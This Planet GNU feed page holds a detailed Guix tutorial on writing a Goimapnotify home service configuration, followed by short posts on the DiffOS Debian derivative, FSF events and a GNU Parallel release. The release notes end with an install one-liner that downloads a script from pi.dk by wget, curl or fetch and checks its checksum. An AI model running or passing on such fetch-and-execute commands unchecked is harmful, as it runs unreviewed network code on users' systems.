Planet GNU

Demystifying complex configurations

2026-09-07T08:30:00+00:00

Guix system and Guix home introduce the concept of services. These provide users with a way to control background processes, commonly refereed as daemons, as well as ways of controlling the setup of files. For example, openssh-service-type is a service which controls a SSH daemon. In contrast, etc-service-type is a service that populates the contents of the /etc directory.

One peculiarity of Guix services is that it's customary to provide Scheme bindings for the different fields. By that I mean that the different fields of the configuration of most services will be a type. The benefit of this is that users get a uniform configuration language for their services, at the cost of additional complexity when developing the service. Which is why, for a long time, Guix users seem to struggle with defining complex configurations. There are a number of reasons for this, we will try to close the gap today by going through defining a configuration for Goimapnotify.

This blog post assumes that the reader is somewhat familiar with Guix and knows how to setup a development environment for it. If that's not the case, read The Perfect Setup and Using Guix interactively.

A Goimapnotify configuration is written in YAML. Therefore, we will need to serialize the different Guile Scheme fields to this format. Let's take the example configuration that the author gives in the project's README.md:

configurations:
  - host: example.com
    port: 143
    tls: true
    tlsOptions:
        rejectUnauthorized: false
        starttls: true
    idleLogoutTimeout: 15
    username: USERNAME
    alias: ExampleCOM
    password: PASSWORD
    xoAuth2: false
    boxes:
      - mailbox: INBOX
        onNewMail: 'mbsync examplecom:INBOX'
        onChangedMail: 'mbsync examplenet:INBOX'
        onChangedMailPost: SKIP
        onNewMailPost: SKIP
  - hostCMD: COMMAND_TO_RETRIEVE_HOST
      port: 993
      tls: true
      tlsOptions:
        rejectUnauthorized: true
        starttls: true
      username: ''
      usernameCMD: ''
      password: ''
      passwordCMD: ''
      xoAuth2: false
      onNewMail: ''
      onNewMailPost: ''
      onChangedMail: ''
      onChangedMailPost: ''
      onDeletedMail: ''
      onDeletedMailPost: ''
      boxes:
        - mailbox: INBOX
          onNewMail: 'mbsync examplenet:INBOX'
          onNewMailPost: SKIP
          onChangedMail: 'mbsync examplenet:INBOX'
        - mailbox: Junk
          onNewMail: 'mbsync examplenet:Junk'
          onNewMailPost: SKIP

Just by looking at the hierarchy we can already envision how to organize our scheme records. We will need the following:

home-goimapnotify-configuration-fields
goimapnotify-configuration
goimapnotify-box-configuration
goimapnotify-tls-options-configuration

The final configuration that the service for Goimapnotify will rely on, will be home-goimapnotify-configuration-fields. It will contain a configurations field where each item will be a goimapnotify-configuration; each box in those configurations will be a goimapnotify-box-configuration. Additionally, each of those configurations will have an optional goimapnotify-tls-options-configuration.

The (gnu services configuration) module provides us with the API that we need to define these configurations. The most important helpers for defining configurations are:

define-configuration: For configurations that need to serialize fields into a different format, generally configuration files.
define-configuration/no-serialization: For configurations that do not need to emit any files. Generally all the fields are consumed by the Shepherd services that rely on the configuration but no translation from Scheme to a different format is needed.

In our case, we need to translate the different configuration fields to YAML, so we will need to use define-configuration.

The following sections are written so you can follow along, you are encouraged to drop into a REPL (short for read-eval-print loop) and import the required module:

,use (gnu services configuration)

`goimapnotify-tls-options-configuration`

To make it easy for ourselves, we will start form the in-out, after all, you wouldn't want to build a house from the rooftop, would you?

(define-configuration goimapnotify-tls-options-configuration
  (reject-unauthorized?
   (boolean #f)
   "Whether to reject unauthorized TLS certificates.")

  (starttls?
   (boolean #f)
   "Whether to use STARTTLS.")

  (prefix goimapnotify-))

evaluating the above snippet will throw an unbound variable exception, bear with me.

Refer to the manual for an in-depth explanation of the syntax of define-configuration.

The first argument is the name of the configuration object, goimapnotify-tls-options-configuration in this case. After it, we define the different typed fields. We are defining boolean fields that are, by default, set to false. The biggest source of confusion when defining configurations comes because define-configuration is a macro that introduces identifiers that do not appear in the source code—it's an unhygienic macro. That means that the macro will expand to code which defines symbols that are not visible when reading the source file.

One can inspect the expansion of the macro by using the ,expand REPL command. It will be quite verbose, so don't try to read all of it, instead search through it; you will find some revealing things, such as:

scheme@(gnu home services mail)> ,expand (define-configuration goimapnotify-tls-options-configuration
  (reject-unauthorized?
   (boolean #f)
   "Whether to reject unauthorized TLS certificates.")
  (starttls?
   (boolean #f)
   "Whether to use STARTTLS.")
  (prefix goimapnotify-))
$20 = (begin ...
        (define goimapnotify-tls-options-configuration? ...)
        (define goimapnotify-tls-options-configuration-reject-unauthorized? ...)
        (define goimapnotify-tls-options-configuration-starttls? ...)
        ...
        (define <goimapnotify-tls-options-configuration> ...)
        ...
        (define goimapnotify-tls-options-configuration ...)
        (define goimapnotify-tls-options-configuration-fields
          ((@@ (gnu services configuration) list)
           (let* ((name (let ((x 'reject-unauthorized?)) x)) ...
                  (serializer (let ((x goimapnotify-serialize-boolean)) x)) ...)
             ...)
           (let* ((name (let ((x 'starttls?)) x)) ...
                  (serializer (let ((x goimapnotify-serialize-boolean)) x)) ...)
             ...))))

In the previous snippet, ... represents omitted code. As you can see from the macro expansion, define-configuration introduces quite a few identifiers. You may recognize the shared prefix in those identifiers, that's right, it's the prefix specified by that last field that we didn't explain from the configuration definition, (prefix goimapnotify-).

By inspecting the macro expansion, it's easy to understand what happens under the hood. When a prefix is specified, we instruct the macro to append that prefix to all the generated identifiers. This is useful to avoid naming collisions; for example, when defining the configuration in a module with other configuration records that serialize to different formats. After all, it's not the same to serialize to YAML than to INI, or any other format a tool may require.

Remember that unbound variable problem I mentioned before? If you paid close attention to the macro expansion, you may have noticed those references to goimapnotify-serialize-boolean, those are our unbound variables. The macro expects us to define these serialization procedures, let's do that.

Defining the missing serializers

Since the configuration machinery knows nothing about the output format, we must define how this translation happens. In our case, we are translating to YAML. By looking at the example configuration provided by the Goimapnotify developers, we can see that the field names are written in camel case, and their respective values are separated from the names through the : character.

Helpers

Let's start by making a function that takes a symbol and transforms it into a string that's a camelized version of that symbol. We will use object->camel-case-string from the (gnu home services utils) module:

,use (gnu home services utils)

(define (camelize-field-name field-name)
  (let ((str (object->camel-case-string field-name)))
    (if (string-suffix? "?" str)
        (string-drop-right str 1)
        str)))
;; Usage: (camelize-field-name 'reject-unauthorized?) => "rejectUnauthorized"

In YAML, there is no convention of suffixing booleans with a ?, so our camelizer drops it when found.

camelize-field-name gives us a field name, but we want to serialize the value too. Let's define a field serialization procedure to help us:

(define (goimapnotify-serialize-field field-name val)
  "The mapping is used to serialize certain FIELD-NAMES specially."
  (let* ((field-name-mapping '((host-command . hostCmd)
                               (user-name . username)
                               (user-name-command . usernameCmd)
                               (password-command . passwordCmd)))
         (field-name* (or (assq-ref field-name-mapping field-name)
                          field-name)))
    (format #f "~a: ~s~%"
              (camelize-field-name field-name*)
              val)))
;; Usage: (goimapnotify-serialize-field 'reject-unauthorized? 'true) => "rejectUnauthorized: true\n"

Notice how we introduced field-name-mapping to tailor the field name passed to camelize-field-name to emit the specific naming that Goimapnotify expects. In Guix, we have a specific naming convention, so we want fields like user-name to map to username (instead of userName) and fields like password-command to map to passwordCmd (instead of passwordCommand).

That's enough to serialize most values to YAML, but there's an extra Guix-specific feature we should make use of to make the service more convenient to users: G-Expressions.

Are you familiar with them? If not, I encourage you to read this wonderful trilogy of blog posts: Dissecting Guix. It took me some time to wrap my head around these concepts, but once you do, I think you will like them too. In any case, that serializer is using those expressions because we want users of our configuration to be able to intermingle packages and other file-like objects in their fields. Since this is a blog post about writing configurations, I won't dive deep into G-Expressions, but let's try to get you a sense for them.

You will need to import (guix gexp) for the following snippet to work.

(define (goimapnotify-serialize-field field-name val)
  "The mapping is used to serialize certain FIELD-NAMES specially."
  (let* ((field-name-mapping '((host-command . hostCmd)
                               (user-name . username)
                               (user-name-command . usernameCmd)
                               (password-command . passwordCmd)))
         (field-name* (or (assq-ref field-name-mapping field-name)
                          field-name)))
    #~(format #f "~a: ~s~%"
              #$(camelize-field-name field-name*)
              #$val)))

That's not so bad, is it? What was that? 6 more characters? Surely you wouldn't be scared of that, but just in case, let me give you some extra reassurance on what's happening here. This G-Expression thing, also known as gexp, is just the way you let Guix know that this code is for later. "When is later?", you may wonder. Simplifying it, that "later" is when Guix knows where file-like objects will be located in your disk; that long path on the store you may have seen before.

For example, a package is a file-like object, so when you build the package Guix will tell you where it was stored:

$ guix build cowsay
/gnu/store/gz170ppi2hxssp4h3yw5jh4gdw6x9ws0-cowsay-3.8.4

Preceding an expression with #~ (or gexp), one effectively tells Guix "don't evaluate this code until you know what this expression should expand to". And that other syntax, #$ (or ungexp), is telling Guix to replace the file-like object for its lowered representation, usually a path in the store. For a package like cowsay, that would be that /gnu/store/gz170ppi2hxssp4h3yw5jh4gdw6x9ws0-cowsay-3.8.4 paths we saw before.

With that said, if you are like me, you won't be comfortable if you cannot debug this expressions, so let me give you some supper powers.

In your REPL, import the (guix) module. This will augment the REPL with some additional commands that will simplify our life:

scheme@(guile-user)> ,use (guix)
scheme@(guile-user)> ,help guix
Guix Commands [abbrev]:

 ,run-in-store EXP                 - Run EXP through the store monad.
 ,verbosity LEVEL                  - Change build verbosity to LEVEL.
 ,lower OBJECT                     - Lower OBJECT into a derivation or store file and return it.
 ,build OBJECT [BUILD-MODE]        - Lower OBJECT and build it, returning its output file name(s).
 ,build-options OPTIONS            - Set build options to OPTIONS.  Print previous value (to allow easy restore).
 ,build-graft GRAFT?               - Set whether grafts should be performed.
 ,enter-store-monad                - Enter a REPL for values in the store monad.
 ,phases                           - Return the build phases of the package defined by FORM.
 ,configure-flags                  - Return the configure flags of the package defined by FORM.
 ,make-flags                       - Return the make flags of the package defined by FORM.

Let's see what that gexp is up to:

scheme@(gnu home services mail)> (goimapnotify-serialize-field 'reject-unauthorized? ''true)
$6 = #<gexp (format #f "~a: ~s\n" #<gexp-input "rejectUnauthorized":out> #<gexp-input (quote true):out>) gnu/home/services/mail.scm:252:2 7f4c7d9deb40>

There is a little helper to approximate a gexp to it's output:

scheme@(gnu home services mail)> (gexp->approximate-sexp $6)
$7 = (format #f "~a: ~s\n" "rejectUnauthorized" (quote true))
scheme@(gnu home services mail)> (primitive-eval $7)
$8 = "rejectUnauthorized: true\n"

That gets us an idea of what will be emitted to disk, but for more complex procedures, this is not going to cut it, specially if there are multiple gexps combined. So let's build that gexp:

;; 'gexp->file' comes from the '(guix gexp)' module. You can ask the REPL more
;; information about a symbol through ',a SYMBOL'.
scheme@(gnu home services mail)> ,a gexp->file
(guix gexp): gexp->file #<procedure gexp->file (name exp #:key guile set-load-path? module-path splice? system target)>

scheme@(gnu home services mail)> (gexp->file "test.scm" $6)
$8 = #<procedure 7f3f7d456ea0 at guix/gexp.scm:2098:2 (state)>

In order for Guix to build a value, it needs to be something Guix can lower—an object that can be "compiled" down to a file in the store (these are referred to as file-like objects, because they can be inserted in any piece of code that expects a file name). A gexp cannot be built by itself, because there is nowhere to output it to. The above snippet creates a file-like object that will be emitted to a file named test.scm in the store. That file will contain our expression. As you see, we've got a procedure. The REPL printer tells us that this procedure needs some state; this is just a way of indicating you that this is a monadic procedure that can only be run in the context of a store connection. Read The Store Monad for more information.

I will build it manually just once for demonstration purposes, don't blink:

scheme@(gnu home services mail)> ,use (guix store)
scheme@(gnu home services mail)> (run-with-store (open-connection)
                                   $8)
$9 = #<derivation /gnu/store/gq71r3sgilfvsicfnifln8n0wfksam13-test.scm.drv => /gnu/store/c3hxw7pgnxchw1zldnc9nrb8iwwrqf78-test.scm 7f3f7e2de000>

Where we are saying "run the procedure we got in the context of a store connection", we opened that connection through open-connection. Let's not do that again... Fortunately we have those useful REPL commands I just told you about, so we can archive the same result by doing this:

scheme@(gnu home services mail)> ,run-in-store $8
$10 = #<derivation /gnu/store/gq71r3sgilfvsicfnifln8n0wfksam13-test.scm.drv => /gnu/store/c3hxw7pgnxchw1zldnc9nrb8iwwrqf78-test.scm 7fcd92f7f0f0>

That's better, isn't it?

Now, this is a derivation. That's something Guix can build:

scheme@(gnu home services mail)> ,build $10
building /gnu/store/gq71r3sgilfvsicfnifln8n0wfksam13-test.scm.drv...
$11 = "/gnu/store/c3hxw7pgnxchw1zldnc9nrb8iwwrqf78-test.scm"

What's that? You don't want this magic command? Okay, the same thing can be done with:

scheme@(gnu home services mail)> (run-with-store (open-connection)
                                   (built-derivations (list $10)))
$12 = #t
scheme@(gnu home services mail)> (derivation->output-path $10)
$13 = "/gnu/store/c3hxw7pgnxchw1zldnc9nrb8iwwrqf78-test.scm"

At last, a file! What's in there?

$ cat /gnu/store/c3hxw7pgnxchw1zldnc9nrb8iwwrqf78-test.scm
(format #f "~a: ~a\n" "rejectUnauthorized" "true")

Okay that seems about right. We can even run it:

scheme@(gnu home services mail)> (call-with-input-file $13
                                   (lambda (port)
                                     (primitive-eval (read port))))
$14 = "rejectUnauthorized: true\n"

You've seen the secret sauce, let's continue with what brought us here.

(define (goimapnotify-serialize-boolean field-name val)
  (goimapnotify-serialize-field field-name (if val ''true ''false)))

With this our configuration won't complain about the missing serializer. Let's continue.

One last thing, notice how, after moving to the gexp version of goimapnotify-serialize-field, we started double quoting the symbols true and false, this is because the #$ syntax will replace the value in place, and the value of 'true is true, without the quote. If we didn't double quote, the staged code after expansion would look like this:

(format #f "~a: ~s\n" "rejectUnauthorized" true)

When what we really want is to expand to this:

(format #f "~a: ~s\n" "rejectUnauthorized" 'true)

The reason for this is that we want users to be able to write staged code on the different fields. If one of the values of a field where to be something like this:

(goimapnotify-serialize-field 'favorite-game #~(string-append #$cowsay "/bin/cowsay"))

The expansion would be this:

(format #f "~a: ~s\n" "favoriteGame" (string-append "/gnu/store/gz170ppi2hxssp4h3yw5jh4gdw6x9ws0-cowsay-3.8.4" "/bin/cowsay"))

The string-append procedure is evaluated right before the format call, not when the gexp is getting lowered.

Serializing

The (gnu services configuration) module we imported earlier provides us with serialize-configuration, it takes two arguments, a configuration object and the fields that compose that configuration.

The define-configuration macro defined the goimapnotify-tls-options-configuration constructor for us, we can create a configuration with the default values like this:

scheme@(gnu home services mail)> (goimapnotify-tls-options-configuration)
$10 = #<<goimapnotify-tls-options-configuration> reject-unauthorized?: #f starttls?: #f %location: #f>

Then, we can serialize it like this:

scheme@(gnu home services mail)> (serialize-configuration $10 goimapnotify-tls-options-configuration-fields)
$11 = #<gexp  gnu/services/configuration.scm:165:2 7ff1fd2cbf60>

If you recall form the macro expansion we saw earlier, goimapnotify-tls-options-configuration-fields, was one of those identifiers that got generated.

You should already know how to build that gexp we've got:

scheme@(gnu home services mail)> (gexp->file "test.yaml" $11)
$12 = #<procedure 7efd8b10c2d0 at guix/gexp.scm:2098:2 (state)>
scheme@(gnu home services mail)> ,use (guix)
scheme@(gnu home services mail)> ,run-in-store $12
$13 = #<derivation /gnu/store/z59sf3nhh80668z8njljfxcymgi071pr-test.yaml.drv => /gnu/store/xam1210yl1vdxix0bgpfalf6drpv6xbx-test.yaml 7efd8a80fd70>
scheme@(gnu home services mail)> ,build $13
$14 = "/gnu/store/xam1210yl1vdxix0bgpfalf6drpv6xbx-test.yaml"
scheme@(gnu home services mail)> (call-with-input-file $14
                                   (lambda (port)
                                     (display (primitive-eval (read port)))))
rejectUnauthorized: false
starttls: false

That's some nice YAML syntax... We better speed up the pace or I will retire before finishing up this blog post.

`goimapnotify-box-configuration`

Next in line is goimapnotify-box-configuration, you know the drill. We start by declaring the configuration with define-configuration, specifying each field name, type and docstring:

(define-configuration goimapnotify-box-configuration
  (mailbox
   string
   "The mailbox to monitor.")

  (on-new-mail
   maybe-string-or-gexp
   "The command to execute when new mail arrives.")

  (on-new-mail-post
   maybe-string-or-gexp
   "The command to execute after the new-mail command.")

  (on-changed-mail
   maybe-string-or-gexp
   "The command to execute when mail is changed.")

  (on-changed-mail-post
   maybe-string-or-gexp
   "The command to execute after the changed-mail command.")

  (on-deleted-mail
   maybe-string-or-gexp
   "The command to execute when mail is deleted.")

  (on-deleted-mail-post
   maybe-string-or-gexp
   "The command to execute after the deleted-mail command.")

  (prefix goimapnotify-))

You may have noticed that we have two new types. strings, easy enough, and maybe-string-or-gexp, not so easy; right? Worry not, here comes the explanation.

Let's start by defining the string type:

(define-maybe string (prefix msmtp-configuration-))

You may be very confused right now. What has msmtp-configuration to do with our goimapnotify-configuration example? Well, I want this blog post to get you ready for the real world, and in the wild, you will make configurations in modules that contain other configurations. The example we are looking up today is a narration of my adventures making the Goimapnotify service from the (gnu services mail) module, in that module, there is already a configuration for msmtp. With that said, if we tried to do this:

(define-maybe string (prefix goimapnotify-))

We would be surprised with a warning that looks something like this:

$ make
...
[ 94%] GUILEC   gnu/home/services/mail.go
gnu/home/services/mail.scm:67:0: warning: shadows previous definition of `maybe-string?' at gnu/home/services/mail.scm:63:0
gnu/home/services/mail.scm:278:0: warning: shadows previous definition of `goimapnotify-serialize-maybe-string' at gnu/home/services/mail.scm:67:0

That's unexpected, isn't it? Nothing we've seen so far points to a maybe-string? procedure, let's look at what is going under the hood of that define-maybe macro:

scheme@(gnu home services mail)> ,expand (define-maybe string (prefix msmtp-configuration-))
$15 = (begin
        (define (maybe-string? val)
          (or ((@@ (gnu services configuration) not)
               ((@@ (gnu services configuration) maybe-value-set?) val))
              (string? val)))
        (define (msmtp-configuration-serialize-maybe-string field-name val)
          (if (string? val)
              (msmtp-configuration-serialize-string field-name val)
              "")))

Do you see it? The macro is expanding to some code that introduces two new procedures into the module, one following the prefix, that would be msmtp-configuration-serialize-maybe-string, and one that just declares the predicate for the maybe type.

Given that, the warning is now apparent. If we call again that macro with a string as the first argument, we will get the same predicate after the expansion, leading to the redefinition warning.

So, for this particular case, instead of using the macro, we will define manually the two procedures required for our configuration:

;; The module already had this helper defined.
(define (string-or-gexp? obj)
  (or (string? obj)
      (gexp? obj)))

;; ... omitted lines ...

(define (goimapnotify-serialize-string field-name val)
  (goimapnotify-serialize-field field-name val))

(define (goimapnotify-serialize-maybe-string field-name val)
  (if (maybe-value-set? val)
      (goimapnotify-serialize-string field-name val)
      ""))

(define goimapnotify-serialize-string-or-gexp
  goimapnotify-serialize-string)

(define (goimapnotify-serialize-maybe-string-or-gexp field-name val)
  (if (and (maybe-value-set? val)
           (string-or-gexp? val))
      (goimapnotify-serialize-string-or-gexp field-name val)
      ""))

The above snippet defines all the serializers we need for the new types. Notice that they are just some simple wrappers around the goimapnotify-serialize-field helper. That procedure is doing all the heavy lifting here, and fortunately for us, it already handles gexps. Therefore, the fields that have a type that accepts a gexp are straightforward to declare.

That would be it for the goimapnotify-box-configuration declaration. As showed in the previous section, the REPL is your friend. I had never written such a complex configuration before, but thanks to this "elegant weapon for a more civilized age", I could find my way by poking things around.

Let's continue!

`goimapnotify-configuration`

You know the drill, we start by defining the fields we need. Again, I'm doing this just by looking at the README example provided by the developers of Goimapnotify:

(define-configuration goimapnotify-configuration
  (host
   string
   "The IMAP server hostname.")

  (host-command
   maybe-string-or-gexp
   "The command to retrieve the IMAP server hostname.")

  (port
   (integer 993)
   "The port that the IMAP server listens on.")

  (tls?
   (boolean #f)
   "Enable or disable TLS.")

  (tls-options
   maybe-goimapnotify-tls-options-configuration
   "TLS options for the IMAP connection."
   (serializer serialize-maybe-goimapnotify-tls-options-configuration))

  (idle-logout-timeout
   maybe-integer
   "The idle logout timeout in minutes.")

  (user-name
   maybe-string
   "The user-name for authentication.")

  (user-name-command
   maybe-string-or-gexp
   "The command to retrieve the user-name.")

  (alias
   maybe-string
   "An alias for the account.")

  (password
   maybe-string
   "The password for authentication.")

  (password-command
   maybe-string-or-gexp
   "The command to retrieve the password.")

  (xo-auth2?
   (boolean #f)
   "Enable or disable XOAUTH2 authentication.")

  (wait
   maybe-integer
   "The delay in seconds before the mail syncing is triggered.")

  (boxes
   list-of-goimapnotify-boxes-configurations
   "The mailboxes to monitor."
   (serializer serialize-list-of-goimapnotify-boxes-configurations))

  (prefix goimapnotify-))

You are already familiar with most of those types, but there are some new things here:

integer and maybe-integer
maybe-goimapnotify-tls-options-configuration
list-of-goimapnotify-boxes-configurations

Let's start with the obvious ones first.

`integer`

The module already had a maybe definition for the integer. If you recall from the macro expansion earlier, that means that there is already a symbol for the predicate maybe-integer?:

(define-maybe integer (prefix msmtp-configuration-))

We still need a serializer that follows our prefix:

(define (goimapnotify-serialize-integer field-name val)
  (goimapnotify-serialize-field field-name val))

(define (goimapnotify-serialize-maybe-integer field-name val)
  (if (maybe-value-set? val)
      (goimapnotify-serialize-integer field-name val)
      ""))

Simple enough. Moving on!

`maybe-goimapnotify-tls-options-configuration`

(define (serialize-goimapnotify-tls-options-configuration field-name val)
  (let ((serialization (serialize-configuration val goimapnotify-tls-options-configuration-fields)))
    #~(begin
        (use-modules (ice-9 format) (ice-9 string-fun))
        (format #f "~a:
  ~a~%"
                '#$(camelize-field-name field-name)
                (string-replace-substring #$serialization "\n" "\n  ")))))

(define-maybe goimapnotify-tls-options-configuration)

You are already familiar with the define-maybe macro. The serializer is also quite simple. Since we already defined a record that contains within all the required information to serialize it, we just need to make a simple wrapper around serialize-configuration.

Before moving forward, notice how the serializers from this section doesn't contain that goimapnotify- prefix. This is an arbitrary decision, but since there is already goimapnotify in the symbol name, I think it's a bit redundant to add it. For the configuration definition to know which serializer to use, we have to be specific in the serializer argument of the fields, that's why in the configuration we had this declaration specifying a (serializer ...) for the field:

(define-configuration goimapnotify-configuration
  ;; ... omitted lines ...
  (tls-options
   maybe-goimapnotify-tls-options-configuration
   "TLS options for the IMAP connection."
   (serializer serialize-maybe-goimapnotify-tls-options-configuration))
  ;; ... omitted lines ...
  (prefix goimapnotify-))

`list-of-goimapnotify-boxes-configurations`

First we need a prefix to know if we have a list of goimapnotify-box-configuration objects, that one is simple:

(define (list-of-goimapnotify-boxes-configurations? lst)
  (and (not (null? lst))
       (every goimapnotify-box-configuration? lst)))

Now we need a serializer that knows how to handle a list of these objects:

(define (serialize-list-of-goimapnotify-boxes-configurations field-name value)
  (let ((serializations (cons 'list
                              (map (cut serialize-configuration <>
                                        goimapnotify-box-configuration-fields)
                                   value))))
    #~(begin
        (use-modules (ice-9 format) (ice-9 string-fun))
        (format #f "~a:
~{  - ~a~%~}"
                '#$(camelize-field-name field-name)
                (map (lambda (s)
                       (string-replace-substring s "\n" "\n    "))
                     #$serializations)))))

Looks a bit daunting, but it's just staged code, remember our earlier explanation of gexps. This code is only constructing a string with the shape we need.

As a reminder, we are serializing to YAML, that means that lists are prefixed by a - character. Following the Goimapnotify README, the indentation would be something like this:

boxes:
  - mailbox: INBOX
    onNewMail: 'mbsync examplenet:INBOX'
    onNewMailPost: SKIP
    onChangedMail: 'mbsync examplenet:INBOX'
  - mailbox: Junk
    onNewMail: 'mbsync examplenet:Junk'
    onNewMailPost: SKIP

This is what that format call is doing. Refer to Formatted-Output for more information.

We are only lacking a way to generate a complete configuration, remember that goimapnotify-configuration is an object for a single configuration. According to the README of Goimapnotify, the configuration file can take a list of configurations.

`home-goimapnotify-configuration`

This is the last configuration we will need, it will be used directly by the service:

(define-configuration home-goimapnotify-configuration
  (goimapnotify
   (file-like goimapnotify)
   "The @code{goimapnotify} package to use."
   empty-serializer)
  (configurations
   (list-of-goimapnotify-configurations)
   "A list of @code{goimapnotify-configuration} records which contain
information about all your accounts configurations."))

Simple enough, the first field is the Guix package that provides the goimapnotify program. This one is used by the service to start the process. Since it doesn't need to appear in any configuration file, we don't need to serialize it, hence the empty-serializer.

On last serializer:

(define (serialize-list-of-goimapnotify-configurations field-name value)
  (let ((serializations (cons 'list
                              (map (cut serialize-configuration <>
                                        goimapnotify-configuration-fields)
                                   value))))
    #~(begin
        (use-modules (ice-9 format) (ice-9 string-fun))
        (format #f "~a:
~{  - ~a~%~}"
                '#$(camelize-field-name field-name)
                (map (lambda (s)
                       (string-replace-substring s "\n" "\n    "))
                     #$serializations)))))

The rationale for this code is the same as the one explained for list-of-goimapnotify-boxes-configurations.

Defining the Shepherd service

The service definition; at last!

(define (home-goimapnotify-shepherd-service config)
  (let ((log-file #~(string-append %user-log-dir "/goimapnotify.log")))
    (list
     (shepherd-service
       (provision '(goimapnotify))
       (modules '((shepherd support)))   ;for '%user-log-dir'
       (documentation "Run a goimapnotify process")
       (start #~(make-forkexec-constructor
                 (list
                  #$(file-append
                     (home-goimapnotify-configuration-goimapnotify config)
                     "/bin/goimapnotify")
                  "-conf" #$(mixed-text-file "goimapnotify.yaml"
                                             (serialize-configuration config
                                                                      home-goimapnotify-configuration-fields)))
                 #:log-file #$log-file))
       (stop #~(make-kill-destructor))))))

Refer to Shepherd Services for more information on how to write Shepherd services. I will only highlight how to handle the configuration we just wrote.

We have already done all the hard work, the configuration declaration contains all the information needed to perform the serialization of the different fields to YAML, we just need to call serialize-configuration. For example:

scheme@(gnu home services mail)> (define test-config
  (home-goimapnotify-configuration
   (configurations
    (list
     (goimapnotify-configuration
      (host "test.example.com")
      (boxes
       (list
        (goimapnotify-box-configuration
         (mailbox "Test")))))))))

scheme@(gnu home services mail)> (serialize-configuration test-config home-goimapnotify-configuration-fields)
$6 = #<gexp  gnu/services/configuration.scm:165:2 7f3448e678a0>

That serialization gives a gexp ready to be wrapped in a file-like so it can be lowered to the store. That's what mixed-text-file is doing:

scheme@(gnu home services mail)> (mixed-text-file "goimapnotify.yaml"
                 (serialize-configuration test-config
                                          home-goimapnotify-configuration-fields))
$7 = #<<computed-file> name: "goimapnotify.yaml" gexp: #<gexp  guix/gexp.scm:2171:6 7f343915ef60> guile: #f options: (#:local-build? #t)>
scheme@(gnu home services mail)>

We've got ourselves a service, but there is one last thing before we go!

Defining the service type

As mentioned in the previous section, refer to Defining Services for what's going on here. The last thing we need do is declare the relation that this service has with respect to others:

(define home-goimapnotify-service-type
  (service-type
    (name 'home-goimapnotify)
    (extensions
     (list (service-extension home-shepherd-service-type
                              home-goimapnotify-shepherd-service)))
    (description "Configures the @code{goimapnotify} IMAP Mailbox notifier.")))

We did it!

Closing words

Still here? That was long... But here we are, we defined our complex configuration.

Congratulations on reading till the end, by this time you should already be an expert on defining Guix configurations.

We acknowledge that there are some improvements to do on the API for defining configurations. We would like to have a way to specify symbol mapping for field names in the declaration, so that serializers can be generalized better. It would also be nice if we could refactor some of our configuration definitions so the serializers that can be generalized are reused between declarations. After all, there are many configuration files in similar formats.

For all of these improvements, we are counting on you! I wrote this blog post to empower you to participate in the development. If this is something that resonates with you, come join the fun!

Soft-launching the DiffOS project

2026-09-04T13:11:41+00:00

Today marks the day of soft-launching of my Debian derivative, which I’ve been using on several of my own machines for the past year or so. This is still work in progress, but I wanted to establish a launch date of the project so below is the DiffOS manifesto as motivation for continued work.

DiffOS is For Freedom! DiffOS is the Debian Increment For Freedom Operating System.

Aspire to the goals of GNU FSDG and become a recognized Free GNU/Linux distribution.
Uses Debian GNU/Linux as upstream.
Support for all architectures supported by Debian.
Provide Containers, Cloud Images, LiveCD and installer ISOs.
Provide standalone hosting of the package repository.
Provide documentation and issue tracker.
Keep changes to a minimal, in particular:
- Upstream-first policy to prefer that any changes are made in Debian, and only if that fails they are considered for DiffOS.
- Binary package re-use for as much as is possible.
- Don’t modify any source-level Debian package unless REQUIRED by the FSDG (e.g., for freedom concerns) or REQUIRED by the Debian project (e.g., for branding reasons).
Publish a list of packages that are added, removed or modified compared to Debian, with justification for each change.
Publish Diffoscope-style outputs comparing our artifacts with comparable Debian artifact.
Everything built from CI/CD pipelines, inspired by the Salsa CI pipeline but extended to cover the package repository and installation images as well, to allow modern GitSecDevOps of the entire supply-chain.
Use inspiration from other Debian-derived FSDG distributions Trisquel GNU/Linux and PureOS, and broader with GNU Guix especially on how to approach existing freedom concerns in packages.
Git Forge agnostic. While currently hosted on GitLab.com, scripts and configuration are (or will be) designed to allow setup on self-hosted GitLab instance, Codeberg.org or self-hosted Forgejo.
Maintained by Humans – THE HUMAN MANIFESTO FOR THE AGE OF ARTIFICIAL INTELLIGENCE.

Happy Hacking!

Free Software Directory meeting on IRC: Friday, September 11, starting at 12:00 EDT (16:00 UTC)

2026-09-01T19:44:11+00:00

Join the FSF and friends on Friday, September 11 from 12:00 to 15:00 EDT (16:00 to 19:00 UTC) to help improve the Free Software Directory.

August GNU Spotlight with Amin Bandali featuring eighteen new GNU releases: Emacs, LibreDWG, and more!

2026-09-01T15:40:54+00:00

The FSF is now on Bluesky: Here's how and why we did it

2026-08-31T22:55:00+00:00

GNU Parallel 20260822 ('Ceuta') released

2026-08-30T21:07:02+00:00

GNU Parallel 20260822 ('Ceuta') has been released. It is available for download at: lbry://@GnuParallel:4

Quote of the month:

Parallel has an option for almost everything, it's almost too much.
-- tester457@ycombinator

New in this release:

Replacement string: {%jq: jq-expression %}
Use $^X when calling perl. So if different versions of perl are found in $PATH, we use the same version that started GNU Parallel.
Bug fixes and man page updates.

GNU Parallel - For people who live life in the parallel lane.

If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.

About GNU Parallel

GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.

If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.

GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.

For example you can run this to convert all jpeg files into png and gif files and have a progress bar:

parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif

Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:

find . -name '*.jpg' |
    parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200

You can find more about GNU Parallel at: http://www.gnu ... rg/s/parallel/

You can install GNU Parallel in just 10 seconds with:

    $ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
       fetch -o - http://pi.dk/3 ) > install.sh
    $ sha1sum install.sh | grep c555f616391c6f7c28bf938044f4ec50
